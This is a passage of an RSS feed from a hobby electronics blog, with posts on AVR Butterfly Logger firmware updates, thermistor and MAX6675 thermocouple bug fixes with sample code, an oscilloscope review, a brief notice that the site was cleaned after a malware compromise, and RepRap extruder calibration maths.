		<category><![CDATA[logging]]></category>
		<category><![CDATA[bugfix]]></category>
		<category><![CDATA[butterfly]]></category>
		<category><![CDATA[thermistor]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=702</guid>
		<description><![CDATA[Last week I released another firmware update for the AVR Butterfly Logger. This was a bugfix to the thermistor routines for calculating negative temperatures from the onboard temperature sensor. You can download the source code from SourceForge. The thermistor routines in the logger project were adapted from Martin Thomas&#8217; port of the Atmel AVR Butterfly [...]]]></description>
				<content:encoded><![CDATA[<p>Last week I released another firmware update for the <a href="http://www.brokentoaster.com/butterflylogger/">AVR Butterfly Logger</a>. This was a bugfix to the thermistor routines for calculating negative temperatures from the onboard temperature sensor.</p>
<p>You can download the source code from <a href="https://sourceforge.net/projects/butterflylogger/files/">SourceForge</a>.</p>
<p>The thermistor routines in the logger project were adapted from <a href="http://gandalf.arubi.uni-kl.de/avr_projects/#bf_app">Martin Thomas&#8217; port</a> of the <a href="http://www.atmel.com/dyn/products/tools_card.asp?tool_id=3146">Atmel AVR Butterfly example code</a>.  This routine compares the ADC input from the thermistor sensor to a table of known readings. The table (<Technically two tables are used, one for positive values and one for negative.>) contains a single entry for each degree celsius from -15&deg;C to +60&deg;C. The routine would simply step through the table until the ADC reading exceeded (<The thermistor is a<a href="http://en.wikipedia.org/wiki/Negative_temperature_coefficient"> negative temperature coefficient</a> (NTC) device.  This means as the temperature increases the resistance drops. In our electrical configuration of the sensor this also applies to the voltage seen at the ADC input.>) the value in the table. The position in the table is then given as the temperature in degrees celsius. </p>
<p>When first developing the data logger in 2004 and 2005 I quickly wrote an  interpolation routine that would extend the integer value given in the original with an extra two decimal places.  After finishing writing the code I reviewed both the code and the corresponding output. At the time of that brief review everything appeared to make sense.   As the original project had other more accurate temperature sensors available, the operation of the onboard temperature sensor was not critical. The onboard temperature sensor was instead intended as a fast secondary sensor for live feedback to the user via the LCD and so the code was not widely tested.   Whoops. </p>
<p>This December (being the <a href="http://www.ens-newswire.com/ens/jan2011/2011-01-12-02.html">coldest on record</a> in the UK for the last 100 years) showed up some of the flaws in my code.  After some prompting from a couple of users of the project I set aside some time to investigate further.  My investigation involved writing a test routine to simulate all possible sensor readings and then evaluating the results.  This was an incredibly simple exercise, just a few lines of code and then plotting the results with <a href="http://gnuplot.sourceforge.net/">Gnuplot</a>.  The output from the function is shown below in Figure 1. </p>
<div id="attachment_707" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2011/01/ADC2Temp-Verification2.pdf"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2011/01/ADC2Temp-Verification2-300x210.png" alt="" title="ADC2Temp-Verification" width="300" height="210" class="size-medium wp-image-707" /></a><p class="wp-caption-text">Figure 1: Thermistor routines test output</p></div>
<p>This figure shows the full-scale results for the original and fixed routines along with the data points given in the original source. As you can see the interpolated line appears to follow the datapoints quite nicely until it drops below zero degrees.</p>
<p>At this point the linear interpolation is way-off and producing mostly garbage (you can see this clearly in the close-up below in Figure 2)</p>
<div id="attachment_706" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2011/01/ADC2Temp-Verification3.pdf"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2011/01/ADC2Temp-Verification3-300x210.png" alt="" title="ADC2Temp-Verification Close-up" width="300" height="210" class="size-medium wp-image-706" /></a><p class="wp-caption-text">Figure 2: Close-up of the thermistor routines test output</p></div>
<p>Looking at the close-up in Figure 2 you can see the awful job the routine does when dealing with negative temperatures.  If you look very closely at the positive temperatures you will also note a small error in that calculation as well.  After plotting the output and going over the code it was very easy to spot the couple of errors.  After the corrections the graph of the output (The green line in Figures 1 and 2) intersects perfectly with the data points given in the source code.  If it were not for visual inspection of the results (via the graph) I don&#8217;t think I would have noticed this second error at all.</p>
<p>Further changes were also made to the routine so that when the readings are outside the range specified by the data table then they will record an over or under temperature error.  This is signified in the log as <tt>+++.++</tt> or <tt>---.--</tt> for over temperature or under temperature respectively.  On the LCD, <tt>+++.+C</tt> or <tt>---.-C</tt> is displayed. Previously the routine had just returned the maximum or minimum temperature from the table.</p>
<p>It had been at the back of my mind that there was something not quite right about that bit of code for some time.  It was so simple in the end to write a routine to test the function with all possible inputs that I could kick myself for not doing it earlier.  By plotting the results on a graph it became obvious how the code was misbehaving.  The key lessons I&#8217;ve learned from this it is that <u>a little testing goes a long way</u> and that some simple visualisation can really help you understand a bug quickly.</p>
<p>More information about the AVR Butterfly Logger project can be found at the <a href="http://www.brokentoaster.com/butterflylogger/">project website</a>.</p>
<p>Any questions can be asked in<a href="http://sourceforge.net/forum/forum.php?forum_id=489504"> the project forums</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=702</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rigol 1102E: First Impressions</title>
		<link>http://www.brokentoaster.com/blog/?p=663</link>
		<comments>http://www.brokentoaster.com/blog/?p=663#comments</comments>
		<pubDate>Mon, 15 Nov 2010 19:22:16 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[mendel]]></category>
		<category><![CDATA[reprap]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=663</guid>
		<description><![CDATA[I recently decided to treat myself and get an oscilloscope. After much consideration I decided to go with an entry level Rigol. I liked the large number of positive reviews I was reading for these scopes all over the net (two examples here and here). After patiently waiting, unpacking and having a good play I [...]]]></description>
				<content:encoded><![CDATA[<p>I recently decided to treat myself and get an oscilloscope.  After much consideration I decided to go with an <a href="http://int.rigol.com/prodserv/DS1000E/">entry level Rigol</a>. I liked the large number of positive reviews  I was reading for these scopes all over the net (two examples <a href="http://www.eevblog.com/2009/04/05/full-review-of-the-rigol-ds1052e/">here</a> and <a href="http://www.hotsolder.com/2010/04/rigol-ds1052e-and-ds1102e-delayed-trigger.html">here</a>).   After patiently waiting, unpacking and having a good play I can honestly say I&#8217;m impressed. </p>
<div class="wp-caption aligncenter" style="width: 360px"><center><br />
<a href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/11/NewFile0.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2010/11/NewFile0.png" alt="19200 baud asynchronous serial, first 6 bits with close up on start-bit edge." title="19200 Baud Serial Communication Close-up" width="320" height="234" class="aligncenter size-medium wp-image" /></a></center><br />
<p class="wp-caption-text">Figure 1: A sample of the bitmap output from the Rigol 1102E</p></div>
<p>Figure 1 above shows serial communications on my Reprap Mendel.  This has been my test signal as I put the scope through its paces while  I try to locate the source of intermittent serial communications problems.  Having bitmap output makes blogging about electronics a whole lot easier.</p>
<p>After having a few weeks play I have to say I&#8217;m a fan of the interface. I was pleasantly surprised by the center push feature on all the dials.  A center push on the vertical position will center the trace about the zero point and a center push on the horizontal will center the trace about the trigger point.  These are very nice interface enhancements that feel very natural and intuitive to use.</p>
<p>The performance of the scope is great although I have not pushed it anywhere near the limits.  </p>
<p>To give you a better idea of what I am comparing this to I&#8217;ve compiled a list scopes I&#8217;ve used in the passed. These are scopes I&#8217;ve used in the workplace, spending countless days interacting with.</p>
<ul>
<li>Tektronics 475 200Mhz &#8211; A fantastic old analogue storage scope</li>
<li>Tektronics TDS 320 100Mhz &#8211; A nice digital storage scope (not LCD though), with the printer, GPIB and serial communication cards.</li>
<li>Tektronics TDS 1002 60Mhz &#8211; An entry level, modern LCD scope but no printing or serial communication.</li>
<li>Tektronics TDS 3000 series &#8211; DPO <strong>very</strong> nice colour LCD scope with floppy drive for saving waveforms to.</li>
</ul>
<p>This is the first scope I&#8217;ve used which I&#8217;ve actually forked out the cash for so I am very happy with my purchase and find it compares very favourably to those I&#8217;ve used in the past. This scope has more features than I&#8217;ve ever had before. The datasheet for the DS1000E Series is <a href="http://rigol.host.eefocus.com/download/Oversea/DS/Datasheet/DS1000E(D)_DataSheet_EN.pdf">here</a>.  </p>
<ul>
<li>I like the modern features (USB host, USB remote, Colour LCD, FFT, Pass Fail, 1M samples, etc) </li>
<li>I like the legacy features (RS232 port on the back) </li>
<li>I like the specs (100MHz, 1GS/s)</li>
<li>I like the warranty (3 years parts and labour)</li>
<li>I <strong>REALLY</strong> Like the price. This scope cost me &pound;420 including VAT, delivered to my door.</li>
</ul>
<p>I&#8217;d like to post a more complete review sometime, but I think there are already plenty of people saying the same as what I&#8217;m saying &#8212; A fantastic scope, unbeatable for the price. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=663</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A few website issues but everything is OK now.</title>
		<link>http://www.brokentoaster.com/blog/?p=640</link>
		<comments>http://www.brokentoaster.com/blog/?p=640#comments</comments>
		<pubDate>Mon, 01 Nov 2010 17:52:12 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">https://www.brokentoaster.com/blog/?p=640</guid>
		<description><![CDATA[Sorry to all of you who have been having problems with the site this past week. Someone managed to get some malicious code into the site either via a PHP exploit or sniffing my FTP password. I have managed to get everything cleaned up, reviewed my security practices (no more FTP) and updated my WordPress [...]]]></description>
				<content:encoded><![CDATA[<p>Sorry to all of you who have been having problems with the site this past week.  Someone managed to get some malicious code into the site either via a PHP exploit or sniffing my FTP password.</p>
<p>I have managed to get everything cleaned up, reviewed my security practices (no more FTP) and updated my WordPress installation.  If you find any images are missing or something on the site isn&#8217;t as it was then please let me know.</p>
<p>Apologies to anyone how has been infected by malware.  The site was apparently spreading malware to unprotected machines between the dates 19th  and 27th of October.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=640</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Butterfly Logger Firmware 0.30</title>
		<link>http://www.brokentoaster.com/blog/?p=622</link>
		<comments>http://www.brokentoaster.com/blog/?p=622#comments</comments>
		<pubDate>Mon, 25 Oct 2010 20:58:14 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[AVR]]></category>
		<category><![CDATA[AVR butterfly]]></category>
		<category><![CDATA[logging]]></category>
		<category><![CDATA[thermocouple]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=622</guid>
		<description><![CDATA[In an unprecedented move I&#8217;ve released another version of the firmware for the AVR Butterfly Logger within a few months of a previous release. This was a minor change just adding MAX6675 based J and K thermocouple support. You can download the source code from sourceforge, with the changes from the previous version are listed [...]]]></description>
				<content:encoded><![CDATA[<p>In an unprecedented move I&#8217;ve released another version of the firmware for the <a href="http://www.brokentoaster.com/butterflylogger/">AVR Butterfly Logger</a> within a few months of a previous release.  This was a minor change just adding <a href="http://www.maxim-ic.com/datasheet/index.mvp/id/3149">MAX6675</a> based J and K thermocouple support.</p>
<p>You can download the source code from <a href="https://sourceforge.net/projects/butterflylogger/files/">sourceforge</a>, with the changes from the previous version are listed below.</p>
<pre>
Changes summary:
- MAX6675 K-Type Thermocouple logging (adjustable averaging)
- MAX6675 available on 'T' via the USART.
- MAX6675 available on LCD via 'THERMOCOUPLE' Menu. 
</pre>
<p>The new library has configurable support for averaging readings but each individual reading takes 200ms so an 8 point average will take 1.6s to complete.  If you use this averaging feature please make sure that your logging interval is long enough to ensure enough time for the complete reading to finish.  While thermocouples are capable of measuring wide ranges of temperature both positive and negative the MAX6675 is limited to returning readings between 0&deg;C and +1024&deg;C.  If the chip detects an open thermocouple then the system will log &#8216;-1&#8242; as the temperature.</p>
<p>The MAX6675 connects to the AVR Butterfly via the SPI bus.  This bus is also used by the onboard Dataflash and the Kionix acceleration sensors (when in use).  As this bus is already available the only additional pins required is a single chip select (CS).  The library currently only supports a single thermocouple input but the code could easily be expanded to suport multiple MAX6675s requiring a single CS line for each additional chip and thermocouple.</p>
<p>The SPI bus is available on PORTB and also via the ISP connector. An example breakout PCB for the MAX6675 was published <a href="http://www.brokentoaster.com/blog/?p=203">here</a>. Default wiring from the this PCB to the AVR Butterfly Logger is given below:</p>
<table width=100%>
<tr>
<th>PCB       </th>
<th>MAX6675</th>
<th>Butterfly</th>
<th>	J403 (ISP)</th>
<th>	J405 (USI)</th>
</tr>
<tr align="center">
<td >1</td>
<td>		1 GND	</td>
<td>	GND</td>
<td>	6</td>
<td>	4</td>
</tr>
<tr align="center">
<td>2</td>
<td>		7 MISO	</td>
<td>	PB3</td>
<td>	1</td>
<td>	-</td>
</tr>
<tr align="center">
<td>3</td>
<td>		6 CS	</td>
<td>	PE6</td>
<td>	-</td>
<td>	3</td>
</tr>
<tr align="center">
<td>4</td>
<td>		5 SCK	</td>
<td>	PB1</td>
<td>	3</td>
<td>	-</td>
</tr>
<tr align="center">
<td>5</td>
<td>		4 VCC	</td>
<td>	VCC	</td>
<td>	2</td>
<td>	-</td>
</tr>
</table>
<p>More information about the data logger project can be found at the <a href="http://www.brokentoaster.com/butterflylogger/">project website</a>.</p>
<p>Any questions can be asked in<a href="http://sourceforge.net/forum/forum.php?forum_id=489504"> the project forums</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=622</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Butterfly Logger Firmware 0.29</title>
		<link>http://www.brokentoaster.com/blog/?p=612</link>
		<comments>http://www.brokentoaster.com/blog/?p=612#comments</comments>
		<pubDate>Sun, 19 Sep 2010 13:38:29 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[AVR]]></category>
		<category><![CDATA[AVR butterfly]]></category>
		<category><![CDATA[logging]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=612</guid>
		<description><![CDATA[I&#8217;ve finally managed to get another release of the Butterfly Logger firmware done. I was supposed to have released a lot of this a couple of years ago but it got lost in the ether somewhere. Without any further ado the source code is here, with the changes from the previous version are listed below. [...]]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve finally managed to get another release of the Butterfly Logger firmware done.  I was supposed to have released a lot of this a couple of years ago but it got lost in the ether somewhere.</p>
<p>Without any further ado the source code is <a href="https://sourceforge.net/projects/butterflylogger/files/">here</a>, with the changes from the previous version are listed below.</p>
<pre>
Changes summary:
- Added  'j' and 'J' commands to read SHT75 Humidity and Temp.
- Fixed the SHT75 clock waveform (now it looks  symetrical )
- Added ENABLE_SHT_CALCS option to print/store real world values for SHT75
- Tuned vref for more accurate results. (Battery voltage and dependant SHT75 calculations)
- Added Kionix accelerometer logging
- Fixed vref ( done by matthias.weisser )
- Make file uses no-inline-small-functions ( done by matthias.weisser )
- Direction ADCs are now refered to as Auxilliary ADCs
</pre>
<p>More information about the data logger project can be found at the <a href="http://www.brokentoaster.com/butterflylogger/">project website</a>.</p>
<p>Any questions can be asked in the project forums, <a href="http://sourceforge.net/forum/forum.php?forum_id=489504">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=612</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using thermocouples with the Reprap Mendel</title>
		<link>http://www.brokentoaster.com/blog/?p=561</link>
		<comments>http://www.brokentoaster.com/blog/?p=561#comments</comments>
		<pubDate>Mon, 06 Sep 2010 16:28:29 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[arduino]]></category>
		<category><![CDATA[AVR]]></category>
		<category><![CDATA[mendel]]></category>
		<category><![CDATA[reprap]]></category>
		<category><![CDATA[thermocouple]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=561</guid>
		<description><![CDATA[Using thermocouples with the Reprap Mendel is pretty straight forward, although I did overcome a couple of issues in getting it working. A known issue with the MAX6675 Arduino/Reprap code The MAX6675 chip can take up to 220ms to take a reading from the thermocouple and the reading begins automatically after the previous read. If [...]]]></description>
				<content:encoded><![CDATA[<p>Using thermocouples with the <a href="http://www.reprap.org/">Reprap Mendel</a> is pretty straight forward, although I did overcome a couple of issues in getting it working.</p>
<h3>A known issue with the MAX6675 Arduino/Reprap code</h3>
<p>The MAX6675 chip can take up to 220ms to take a reading from the thermocouple and the reading begins automatically after the previous read.  If another read is attempted before the current reading has been completed then the chip returns the previous value and <strong>restarts</strong>the internal analog to digital the conversion.  This means that if you read from the chip every 150ms or so you will always get the same first reading returned again and again.</p>
<p>The <a href="http://code.google.com/p/max6675-arduino-library/">arduino library code</a> needs a 220ms delay between multiple reads to allow for the MAX6675 chip to take another reading.  In the current state the library simply reads the same value repeatedly.  Luckily it is <a href="http://code.google.com/p/max6675-arduino-library/issues/detail?id=3">a known issue documented on the project&#8217;s site</a> and is not hard to fix.</p>
<p>The taking of a single reading rather than taking a number of readings and averaging will contribute to a high noise level in the thermocouple readings when using this software. </p>
<h3>Discovering the problem</h3>
<p>When testing the <a href="http://www.brokentoaster.com/blog/?p=203">PCB</a> with the library code everything works fine.  The arduino returns a reading every second and everything looks good.</p>
<p>When using the Reprap firmware with the thermocouple code it always returned the first value read from the chip (usually 24°C or so).  This lead to things getting pretty hot as the extruder would turn the heater to full duty cycle while recording no change in temperature.</p>
<p>I first looked at the SPI lines on the scope to see if there was excessive noise or some other issue.  I also compared this side by side with the &#8216;working&#8217; arduino system.  The scope traces are shown below.  The reference channels (R1 and R2)  are the reprap firmware and the bottom traces (1 and 2) are the arduino.  I noticed nothing wrong with the traces, they both looked very good. </p>
<div id="attachment_562" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/08/TEK00000.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2010/08/TEK00000-300x225.png" alt="" title="MAX6675 Chip SPI communications" width="300" height="225" class="size-medium wp-image-562" /></a><p class="wp-caption-text">Reprap code compared to aduino library code communicating to the MAX6675.</p></div>
<p>It was here however that I noticed that the arduino code calls another read to the chip immediately after the preceding read.  After a bit more investigation I noticed that the library software calls the temperature reading function 5 times consecutively and always returns 5 identical results.  A quick read of the data sheet confirmed the typical conversion time to be 170ms with a maximum of 220ms.  The arduino library starts a conversion just 20&mu;s after finishing reading the last.  Reading the data sheet further also confirmed the action of restarting a conversion every time the chip is read.</p>
<p>I monitored the lines on a scope and found that the Reprap software was indeed reading the chip every 136ms.  To fix this I simply changed <code>SLOW_CLOCK</code> in <code>configuration.h</code> to 8089 from 5000.  Based on the current delay giving 136ms, this gives 220ms delay between calls to the thermocouple chip.  After making this change to the firmware the thermocouple now works perfectly.</p>
<div id="attachment_563" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/08/TEK00001.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2010/08/TEK00001-300x225.png" alt="" title="Reprap MAX6675 time between calls" width="300" height="225" class="size-medium wp-image-563" /></a><p class="wp-caption-text">Time between calls to the MAX6675 thermocouple chip using the standard firmware on my reprap.</p></div>
<h3>Fixing the problem</h3>
<p>A more robust fix to the reprap extruder firmware is shown below, but I have not tested this code yet.  This simply exits the temperature reading method if enough time has not elapsed between calls to the function.  The advantage of this is that the main loop can run as fast as it needs to without impacting on the operation of the thermocouple sensors.</p>
<pre class="brush: plain; title: ; notranslate">
#ifdef MAX6675_THERMOCOUPLE
#define MAX6675_CONVERSION_TIME 220 // number of milliseconds between valid temperature readings

  int value = 0;
  byte error_tc;
  
  static unsigned long last_read_time=0; // number of milliseconds since power on at last MAX6675 read 
  unsigned long time_since_last_read=0;  // number of milliseconds since last read of MAX6675 

  /* check the chip is ready to produce a new sample */
  time_since_last_read=millis()-last_read_time;

  /* only read from the chip if a conversion has been completed */
  if(time_since_last_read &gt; MAX6675_CONVERSION_TIME){
    
    digitalWrite(TC_0, 0); // Enable device
  
    /* Cycle the clock for dummy bit 15 */
    digitalWrite(SCK,1);
    digitalWrite(SCK,0);
  
    /* Read bits 14-3 from MAX6675 for the Temp
     	 Loop for each bit reading the value 
     */
    for (int i=11; i&gt;=0; i--)
    {
      digitalWrite(SCK,1);  // Set Clock to HIGH
      value += digitalRead(SO) &lt;&lt; i;  // Read data and add it to our variable
      digitalWrite(SCK,0);  // Set Clock to LOW
    }
  
    /* Read the TC Input inp to check for TC Errors */
    digitalWrite(SCK,1); // Set Clock to HIGH
    error_tc = digitalRead(SO); // Read data
    digitalWrite(SCK,0);  // Set Clock to LOW
  
    digitalWrite(TC_0, 1); //Disable Device
  
    last_read_time = millis(); //remember the read time for next time
  
    if(error_tc)
      currentTemperature = 2000;
    else
      currentTemperature = value&gt;&gt;2;
  }
#endif

}
</pre>
<p>The arduino library can be improved by simply inserting the following at line 55 of the file <code>MAX6675.cpp</code> just before the end of the for loop.</p>
<p><code>
<pre>if (i>1) delay(220); // Wait 220ms for next sample to be ready</pre>
<p></code></p>
<p>This will force a 220ms delay when reading the thermocouple multiple times via the <code>read_temp(int samples)</code> function.  Alternatively you could use the <code>millis()</code> function to track the last time it was read and automatically delay the read by the appropriate amount.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=561</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ponoko now fabricating in the UK via RazorLAB</title>
		<link>http://www.brokentoaster.com/blog/?p=533</link>
		<comments>http://www.brokentoaster.com/blog/?p=533#comments</comments>
		<pubDate>Tue, 03 Aug 2010 16:30:43 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[mendel]]></category>
		<category><![CDATA[reprap]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=533</guid>
		<description><![CDATA[You&#8217;ve probably all noticed by now that Ponoko are now offering fabrication facilities in the UK via RazorLAB. I thought I&#8217;d post to show off my new laser etched bed for my Reprap Mendel. I could have cut this one by hand, but I got it lasercut and etched for reasons of curiosity. I have [...]]]></description>
				<content:encoded><![CDATA[<p>You&#8217;ve probably all noticed by now that <a href="http://www.ponoko.com/">Ponoko</a> are now offering fabrication facilities in the UK via <a href="http://www.razorlab.co.uk/">RazorLAB</a>.  I thought I&#8217;d post to show off my new laser etched bed for my Reprap Mendel.   I could have cut this one by hand, but I got it lasercut and etched for reasons of curiosity.</p>
<div id="attachment_534" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/08/IMG_6843.jpg"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2010/08/IMG_6843-300x199.jpg" alt="" title="Laser Etched Bed" width="300" height="199" class="size-medium wp-image-534" /></a><p class="wp-caption-text">An MDF bed for my Reprap Mendel. Laser etched and cut at RazorLAB.</p></div>
<p>I have to say that the service and turnaround from Ponoko and RazorLAB was great.  Ponoko only promises a 28 day turnaround for non <em>Prime</em> members.  My order was shipped in 3 days! Fantastic! The bed looks great and I&#8217;m happy with the results.  For reference, the material used is <a href="http://www.ponoko.com/make-and-sell/show-material/193-mdf-natural">3.6mm &#8216;Natural MDF&#8217; , and the text and logo are done in &#8216;Medium Raster&#8217;</a>.  All files were prepared using <a href="http://www.inkscape.org/">Inkscape</a>. </p>
<p>Although I think the bed is a little on the thin side for a perfect print surface, it is a lot flatter than the curved 4.8mm aluminium bed I have been using up until now. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=533</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Calculating E_STEPS_PER_MM for the Reprap Mendel</title>
		<link>http://www.brokentoaster.com/blog/?p=358</link>
		<comments>http://www.brokentoaster.com/blog/?p=358#comments</comments>
		<pubDate>Tue, 13 Jul 2010 06:23:05 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[mendel]]></category>
		<category><![CDATA[reprap]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=358</guid>
		<description><![CDATA[UPDATE: Nophead now covers this better in this post. In the course of building my extruder I chose not to modify my stepper motor. Instead of having a splined shaft on the motor I decided to use a splined pinch wheel similar to the brass M4 insert used in the geared extruder driver. My pinch [...]]]></description>
				<content:encoded><![CDATA[<p><a href="http://hydraraptor.blogspot.com/2011/03/spot-on-flow-rate.html">UPDATE: Nophead now covers this better in this post.</a></p>
<p>In the course of building my extruder I chose not to <a href="http://objects.reprap.org/wiki/File:Dremmel-up.jpg">modify my stepper motor</a>.  Instead of having a splined shaft on the motor I decided to use a splined pinch wheel similar to the <a href="http://objects.reprap.org/wiki/File:Knurled-insert.jpg">brass M4 insert used in the geared extruder driver</a>.  My pinch wheel is shown below in Figure 1.  By making some simple assumptions and using basic geometry I was able to calculate the necessary firmware parameter to accommodate my changes from the original design.</p>
<div id="attachment_454" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/07/Splined-Pinch-Wheel.jpg"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2010/07/Splined-Pinch-Wheel-300x224.jpg" alt="" title="Splined Pinch Wheel" width="300" height="224" class="size-medium wp-image-454" /></a><p class="wp-caption-text">Figure 1: Splined pinch wheel. It is designed to fit a shaft with a diameter of 5mm and is fixed in place using a M3x3 grub screw. </p></div>
<p>I wanted to keep the motor unmodified so that it would be interchangeable with any of the other motors I&#8217;ve used on the reprap.  The upside of this is that I don&#8217;t  need to keep a separate modified motor as a spare just for the extruder.  The downside of this is that the default  value for <code>E_STEPS_PER_MM</code> used in the reprap motherboard firmware would not be correct for my extruder.</p>
<h4>What does E_STEPS_PER_MM do? </h4>
<p><code>E_STEPS_PER_MM</code> is defined in the <a href="http://objects.reprap.org/wiki/Generation2Firmware#parameters.h_2">firmware documentation</a> as &#8220;the number of steps that the extruder stepper needs to take to produce one millimetre of filament.&#8221;  The firmware then uses this value to calculate the number of steps needed to drive the extruder in relation the print head&#8217;s current horizontal movement.  If this value is wrong then the reprap will push out too much or too little extrusion into the print.</p>
<p>In the absence of any  <a href="http://objects.reprap.org/wiki/Commissioning">commissioning information in the official wiki</a> for the reprap, once construction of the reprap was complete, I was left to adjust the value empirically.</p>
<p>As I had no way of knowing just how different my untested design would be to whatever extruder was used to determine the values given in the code, I wanted another way to determine this value.  These calculations are used as a check to avoid wasting plastic and the possibility of breaking the extruder first time.</p>
<p>To simplify things I chose to calculate the parameter by treating the filament and melted plastic as an incompressible fluid.  This simplification should hold true once the system is in a steady state extruding plastic.  If no material leaks out, is absorbed into the body of the extruder itself, or is vaporized, then logically the volume of material that goes into the system must also leave the system.  This also assumes that there is no thermal expansion or any change in density of the material (which is what I really mean when I say &#8220;incompressible&#8221;).   Figure 2 below shows a diagram of my greatly simplified model of the system.</p>
<div id="attachment_514" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/07/extruder.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2010/07/extruder-176x300.png" alt="" title="extruder" width="176" height="300" class="size-medium wp-image-514" /></a><p class="wp-caption-text">Figure 2: Model of the simplified system shown with the extrusion chamber shown as a grey box. </p></div>
<p>Bear in mind that I&#8217;m not a mechanical or chemical engineer.  I&#8217;m an electrical engineer, so my calculations and assumptions might be way off.  If anyone knows a better way to model and or calculate this sort of thing, I&#8217;d love to hear from you.</p>
<h3>What goes in, must come out</h3>
<h4> Calculating the volume of filament entering the extruder:</h4>
<p>The volume that goes into the extruder is the cross sectional area of filament multiplied by the length fed in. This assumes the filament is a perfect cylinder.<br />
<code><br />
r<sub>f</sub> = 0.5 &times; Ø<sub>f</sub> (filament diameter)<br />
CSA<sub>f</sub>(filament cross sectional area) = &pi; &times; r<sub>f</sub>&sup2;<br />
vol<sub>f</sub> (filament volume per revolution) = CSA<sub>f</sub> &times; len<sub>f</sub><br />
</code>  </p>
<p>Assuming the filament is moving at the same speed as the outermost point on the teeth of the drive gear or surface of the pinch wheel then the length of filament fed in should be the same as the linear distance travelled by the outside of the pinch wheel. This is assuming that no slippage, no compression, and no deformation of the filament occur.  </p>
<p>A point on the outside of the pinch wheel travels a linear distance of one circumference per revolution. This is calculated by &pi; multiplied by the diameter.<br />
<code><br />
Ø<sub>PW</sub> (pinch wheel diameter)<br />
len<sub>f</sub> (filament length per revolution) = &pi; &times; Ø<sub>PW</sub><br />
</code></p>
<p>The total volume entering the extruder per step is easily calculated by dividing the volume per revolution by the number of steps per revolution. If a gear reduction is used between the stepper and then the steps per revolution are multiplied by this ratio.<br />
<code><br />
R<sub>M:PW</sub> (ratio of motor rpm to pinch wheel rpm)<br />
steps<sub>360</sub> (motor steps per revolution)</p>
<table>
<tr>
<td rowspan="2" valign="middle">step-vol<sub>f</sub> (filament volume per step) = </td>
<td align="center" style="border-width:0px;border-bottom-width:thin;border-style:solid;">vol<sub>f</sub></td>
</tr>
<tr>
<td> steps<sub>360</sub> &times; R<sub>M:PW</sub></td>
</tr>
</table>
<p></code></p>
<h4>Real world examples</h4>
<p>In addition to the standard extruder I have also built a version of <a href="http://objects.reprap.org/wiki/Geared_Nema17_Extruder_Driver">Adrian&#8217;s geared extruder</a>. My version of this is shown in Figure 3 below. The ratio for this gear reduction is 5:1. I will compare this with the standard splined shaft extruder in the calculations below.<br />
<div id="attachment_457" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/07/Geared-Extruder1.jpg"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2010/07/Geared-Extruder1-300x224.jpg" alt="" title="Geared Extruder" width="300" height="224" class="size-medium wp-image-457" /></a><p class="wp-caption-text">Figure 3: A geared extruder.  The large gear has 55 teeth and the small gear has 11 giving a 5:1 reduction.</p></div></p>
